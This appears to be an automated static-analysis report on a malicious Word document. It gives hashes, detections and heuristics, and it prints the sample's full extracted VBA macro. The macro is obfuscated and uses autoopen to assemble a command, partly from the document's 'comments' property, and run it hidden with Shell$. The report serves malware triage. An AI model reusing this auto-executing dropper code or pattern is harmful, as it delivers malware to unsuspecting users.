Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9949dccece620233…

MALICIOUS

Office (OLE)

72.5 KB Created: 2017-10-06 05:29:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 676ce727ae0dfb8822852e4fd0c86d39 SHA-1: 7f060a247ba188933dd18b2b41d12919f2f8dcda SHA-256: 9949dccece62023379790e8b563d8a93bae156be13e7698f851a3804b72fa1c3
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The 'OLE_VBA_SHELL' and 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristics indicate the presence of code designed to execute commands. The 'macros.bas' file was extracted and contains obfuscated VBA code that concatenates strings, suggesting it is attempting to construct and execute a command, likely to download a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6340155-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6340155-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    sNnxXXWTuYB = "mkBaYYRTa" + "XuXtDpkGBr" + "YnBYhekRt" + "yYsFTRcmEVN" + "vRtEHLKYz" + GurpsyPWpZ = "LMMAuanGN" + "hbwYuBNZBxT" + "SUUkyeVpNhn" + "SgvCUcwfXD" + "PTDUKDKCwS" + "VMXPazvvXZ"
Shell$ "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + PBgapTPRnHw + Mid(NrvyPdN, 40) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + XkgssYWAC, 0
TczWGRhTe = "GteLYyxd" + "cFGrkca" + "FUMmkPtpAgt" + "WMaGfEYwuG" + "evnywAPwVVe" + WmAmHkLemW = "gNCSxuK" + "FgSgTGxPUUr" + "fSbHpzY" + "nTVUNWtYpR" + "zabybWrgCbH" + NasynaB = "sSrnkcuPbn" + "LEbkfzk" + "SYHHfhFUH" + "RwLKPKwuf" + "WeMWfnWf" + rfXUWNSeG = "BTSNpkEyB" + "eLcTrdd" + "rsxpSLHZDh" + "hwrZBAFrHeB" + "eNubVBSaA" + "nBXeeCpvZ"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
fdSZuSKDbTn
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7001 bytes
SHA-256: f3415535efe8b12fc06e3356a37c7341b1fbfce18902579736a417760387ec34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
369 of 442 identifiers look randomly generated (e.g. 'tGZFHdTXVeA') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function fdSZuSKDbTn()
RAhBhdB = "UYynyWY" + "SFYmMKHgMY" + "GTvmTnLa" + "KkvwXbXrf" + "pswtVdpG" + CXGZVUcapC = "SsRzuzpGfY" + "BszZXvEb" + "PvKwhZDeW" + "hWnFpRk" + "MLNRtZgUf" + gTygEwPkzgD = "FuBUSkX" + "aFwXyRdHaG" + "zShngUg" + "PtcuTUC" + "atNtsULNDx" + "ShSHUUsvCxu"
rGgSmMz = "buABXTyrRTb" + "AYUbNUVbd" + "VgVveDmWr" + "fAUFBvvKCDc" + "rXsgRHm" + nPZMmZesg = "YvuECXPCcS" + "vNarzxTkKKD" + "EprhGCuHcEb" + "nKaRKsZhzpN" + "tcSShKRx" + "bDeVWyBheE"
XLnGfhuDT = "aBnWKEbgS" + "vtgzGLvhpKX" + "NXMEMrPA" + "zUPmxFMVc" + "vzMfUtPEeh" + fhMKvxHwL = "CmwsmGT" + "fDsSmWrybZk" + "ggyFfkVpdG" + "EvXssbs" + "SUELYmHG" + "atGNhTnNX"
PBgapTPRnHw = "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + Mid(NrvyPdN, 1, 2) + Mid(NrvyPdN, 11, 4) + Mid(NrvyPdN, 23, 7) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + " "
nRdbwDpA = "bFSwKEfp" + "rdaSeDxS" + "WTeWCBmXnnV" + "enVcCudyN" + "atBZdLEhTXd" + RnhPrXXG = "cdDSYxH" + "FdkfUhxTf" + "gLHzvpBgzn" + "TCZnWWYHc" + "bSgRxHgVmUV" + "KWFBkKD"
UHUAeUtWhz = "yHLDuNBykHd" + "AVKbkLBDwr" + "gNpRTtzrp" + "mfSnSdsZwK" + "eEEDfEEA" + mYvHLEngWE = "ynLYPZekXz" + "ZwuYLdKkN" + "nkDrEMydL" + "gCZkFNtH" + "uxwDNayaWTm" + pdXLfDwEY = "YxvRRhw" + "CUysYXnmnGp" + "EXfebbEwdHh" + "rDGNVWckxf" + "ABKLAmeEwCz" + "NnsyxwvkPfW"
YfpXECK = "RpBvuRwt" + "fpGrkte" + "yvRZUbreFh" + "MhSmDrfWHcs" + "ZHLBRuzmWDt" + aSYSTVRZpRd = "cZUHHNVSXL" + "kPERwPfDLZx" + "bcgKzEMh" + "ACGTvPmzHe" + "GbfKcUuupPE" + kyppwCrZmND = "WxScZtkrkfs" + "MXVAEeFMc" + "BPkdcKCvnEM" + "rZrgBNK" + "rRnWgRcxWG" + "pMXMhYTdGu"
fYKSnyAZuTz = "rwVnCkE" + "PmeYkVfpF" + "vfPzxyBn" + "MudUnkMzLzr" + "PGXfNnRd" + FRPSrFA = "ttWfddv" + "sNbaYAf" + "SpUkNCgMM" + "GEfYYCSfc" + "HrFvTDCH" + tmdYLvh = "vPthLZAyBwE" + "LXtdgVMBw" + "AutpnZzkrGw" + "sSpWCEt" + "RrCrmVYy" + "BPVyBPL"
PGLvKmAgUSz = "ECPweNARs" + "EAPuPhDdGE" + "aEUgZUuKFpr" + "UNPdktAH" + "AMmSxceCkt" + fVvNNGdzk = "STcHsybaMA" + "NuBYzXPyTe" + "tABDshKrzdF" + "gsakbtX" + "zLXTWwdY" + "TCuuxDMUuE"
sNnxXXWTuYB = "mkBaYYRTa" + "XuXtDpkGBr" + "YnBYhekRt" + "yYsFTRcmEVN" + "vRtEHLKYz" + GurpsyPWpZ = "LMMAuanGN" + "hbwYuBNZBxT" + "SUUkyeVpNhn" + "SgvCUcwfXD" + "PTDUKDKCwS" + "VMXPazvvXZ"
Shell$ "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + PBgapTPRnHw + Mid(NrvyPdN, 40) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + XkgssYWAC, 0
TczWGRhTe = "GteLYyxd" + "cFGrkca" + "FUMmkPtpAgt" + "WMaGfEYwuG" + "evnywAPwVVe" + WmAmHkLemW = "gNCSxuK" + "FgSgTGxPUUr" + "fSbHpzY" + "nTVUNWtYpR" + "zabybWrgCbH" + NasynaB = "sSrnkcuPbn" + "LEbkfzk" + "SYHHfhFUH" + "RwLKPKwuf" + "WeMWfnWf" + rfXUWNSeG = "BTSNpkEyB" + "eLcTrdd" + "rsxpSLHZDh" + "hwrZBAFrHeB" + "eNubVBSaA" + "nBXeeCpvZ"
cmPCbZANY = "NztRXUNNN" + "RZDuWvGkXLk" + "EXmAEdvFE" + "SudSNVM" + "xyZFfDMmCD" + ScSSReseZn = "rsgWYtVu" + "CvYDvdbM" + "MnBdLeC" + "eEcwzSpAy" + "LneLvmV" + uTcNZfd = "HdxpyRdvya" + "STAaTBRDVz" + "eKdHUTUZ" + "FZeBGYyuYR" + "HtLXLbcCXU" + "vHKxArRZuD"
ghzvaADD = "EHcXYRPzu" + "nZpCEPCVw" + "TfhBWCwMPwh" + "uNdRanaLEX" + "CTTErKPuT" + pdASsyD = "zabhKZrNR" + "MdayhpmsAt" + "KrZyxYM" + "ZExsTuNEUXD" + "UFGCynS" + bYNctNWbN = "maeNmNFxm" + "aNeccSg" + "UyBnRXz" + "wBZUBBKZPnk" + "CpuGcay" + "zPbNCWN"
gUBFftZ = "WmLUxtem" + "EMnEksuHK" + "SHMfsDysTdn" + "BHtUahCbEr" + "UZfvVCz" + SFzrgpKADWv = "gLueXszMgR" + "kbSAcLtkyw" + "taTcvfAw" + "ZfCxRCR" + "NfUXUsXRvg" + "vvbANaR"
End Function
Function NrvyPdN()
EuyWgeeD = "CLDAyMvwmVY" + "YCTLnpSVH" + "pMCGDNGR" + "XGwMunWS" + "rLkEStGgCfT" + aYbnxCt = "tFsesPcAPGn" + "kDrsdVscps" + "MuUVncwYyR" + "dDEvgRev" + "pnaTafxepYE" + nVbUtZUnDn = "aWEhcGDrL" + "tmzUbfr" + "dsbfauUs" + "YKtSahWYn" + "UnkRNMLKvGn" + VnEaMaub = "WKGySEFDu" + "xnRapFpcz" + "BKKFvfERw" + "pDdcHKV" + "tMAvZbBFbd" + "RtEfPXRrYmg"
axLhHyuAF = "dKZpePEzmZt" + "gEuDcXxTG" + "BTTXmRDV" + "GWTRDuyNDm" + "aFeKzbW" + fuygVtZhN = "kcpbkyMD" + "LzkTyXS" + "nTrhKaB" + "VnTTLDFc" + "nDZMbsw" + hAMpUcU = "dCSkaEt" + "UbUFCTwv" + "VysabpE" + "KSGMFFV" + "vUGfKDmDTxM" + "MPbFdKLn"
bkksnVUD = "XRtwxtAc" + "tGZFHdTXVeA" + "mESFZAEwsHg" + "xKfFWeV" + "HUdnUtHkCP" + LamwhFTwDU = "hZLSVeg" + "ZBzUPBBg" + "uprEScKd" + "mzwUdap" + "SNGhCSrUB" + "FaDZLAexkC"
zzxnrPLvzk = "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + "comme" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + "nts" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + YDBkdRZ
sCpSyfPRNt = "KyaeuUXzCUS" + "DhCPExHEXc" + "WHVfwsPg" + "kXEZAUWns" + "BkwCyWsE" + ZNFcbVpZm = "CHpdgFA" + "VYmCZZLWr" + "bCCFsNMaz" + "PngMhwnS" + "YdxrNXR" + GxTvfSyxH = "xppapFXGT" + "PPvVSwwEX" + "sYypnZUZt" + "ADCZKFgn" + "fyYEDUZRu" + "LecBdRA"
rrSUrvhDEkN = "tfbfTnX" + "GsYSzSHLkUs" + "vuDAWmDevsx" + "fDtNrTxa" + "WUXKzSNhcBR" + mFVDXfGc = "fVKBLRnFvZ" + "rLPbBvB" + "rEVwSTyCrTT" + "VdTkhFL" + "ELvnCEStA" + SbsSHvfH = "AmZhpwW" + "YGBnKdUVEF" + "rrXyMwfvmR" + "ByfePnXCPkE" + "aNuLwTDuzyR" + "pNNueYguDt"
swdgFues = "PamUBZWxXL" + "atUHuHueB" + "YDLFUpTFHaH" + "knUhkttEt" + "vRbmbmSXdH" + peVptkF = "BBhKPue" + "NfvUCHPfAwR" + "dZWGkhmr" + "haTdkRDeRF" + "aUamDyVm" + kypUfeegvY = "MeFfcWMsvA" + "ZNHzbtkVXUx" + "UAnbuEXKfHW" + "fvkxvfzcaE" + "CAAhrUBm" + YZfNwZP = "XFmuwCwmGHH" + "zyHsKtmDAY" + "kscHWhFtCUR" + "gpeKhyN" + "wCFAMuV" + "XNbPvUyLrs"
NrvyPdN = "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + ActiveDocument.BuiltInDocumentProperties(zzxnrPLvzk) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + xNtTRkpMFM
ZGnKHhkRR = "AwmgBMEr" + "tvhVmRsaRD" + "GRVTgXYDc" + "rpEkbdnZU" + "FnPZrnb" + kdffDSM = "sVgLdscDpX" + "MuXBYuN" + "nfWEDVGBMKM" + "aNpbmUzpyK" + "teehhcK" + VRMUcBu = "GYSERGZwu" + "CFZLSEEfN" + "sbTkAgkEMD" + "hKEcCcVgr" + "knNChrasaD" + MEbCsEeA = "cLCKEKEYfrW" + "ENKPMxHULv" + "EFFFdSGVp" + "ubLKxcrHrt" + "aPkFdkF" + "tRypzafrmk"
MbPhgwsP = "BZFyHzG" + "hsbnhzTGYTT" + "CbzWNsgG" + "seLFkVBfbC" + "swLLasR" + UcxtNrLy = "kBguFMzGG" + "RuBkyMkae" + "gWZMPgmacXm" + "pGStFxKt" + "frhtZbh" + EtPeutwb = "RdBRxCzk" + "dSchTeC" + "EhVxeHdT" + "sBNXdYRHfD" + "sGARhYaamMF" + yThehhMFk = "HtLLcmPu" + "xtXuyBHtb" + "WmeKguyCBut" + "hfCDKHyz" + "USbwvRsGhRe" + "yyHyyUEata"
tpFwtzVT = "URsFzzAA" + "CLuKYTb" + "faSrhRG" + "kZBSUERBYz" + "vYndwyk" + mCmaSkvFrUh = "DPmCKUTyMeY" + "NukUYNgdysA" + "azgxtbVnrF" + "CVNyDXyBn" + "DEHGKux" + cakAFmF = "SyFscFrFDWF" + "ykuGuttL" + "eCbTkrsdMLz" + "zvErvgT" + "cwZBfaDy" + uAEMCNNBHw = "RrPTdngfu" + "vYCfPSzn" + "dSCkMgf" + "xpGddXsx" + "rRsEucEzryB" + "GAmUVyFn"
End Function
Sub autoopen()
fdSZuSKDbTn
End Sub

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